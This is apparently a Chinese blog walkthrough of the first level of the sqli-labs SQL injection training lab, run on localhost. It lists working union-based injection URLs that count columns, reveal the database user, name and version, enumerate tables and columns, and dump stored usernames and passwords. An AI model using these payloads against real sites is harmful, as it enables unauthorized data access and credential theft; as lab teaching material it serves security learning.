Sqli-labs第一题详解

less1:
根据题目提示为单引号注入,先测试一下
在这里插入图片描述
果然报错了,说明我们添加的单引号被数据库成功解析,那我们就可以通过闭合id这个参数 ,然后构造自己的sql语句进行攻击。一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
那么知道这个我们就开始查字段吧
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1 order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:
在这里插入图片描述
//注意这里使用 # 是不行的,游览器没有帮我们编码,所以我们自己编
%23#的url编码,--+可以直接使用//

即只有三个字段,那么现在开始联合查询:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果 集变为空,这样我们想要的结果才能显示在界面上
同时又需要确定哪几个字段会被显示在页面上:
在这里插入图片描述
可以看出2,3字段被显示出来,
接着爆数据库在这里插入图片描述
看到数据库名为:security,接着再查其他信息
http://localhost/sqli-labs/Less-1/ ?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+
在这里插入图片描述
这里我使用了concat_ws() 函数:
concat_ws(separator,str1,str2,…)
第一个参数是其它参数的分隔符。分隔符的位置放在要连 接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
es:
select concat_ws(‘,’,’11’,’22’,’33’);  11,22,33
**group_concat()**: 使多行数据在一列显示
char(32,58,32)对应ascill码为空格:空格
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
OK 得到这些信息之后我们再来看看数据库有哪些表

http://localhost/sqli-labs/Less-1/
?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述
可以看到有四张表,我们想要的信息基本都在user表下
我们对这张表爆列名:

http://localhost/sqli-labs/Less-1/
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
接着进行爆用户信息

   http://localhost/sqli-labs/Less-1/
?id=' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述
OKヾ(≧▽≦*)o 第一关到此结束。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏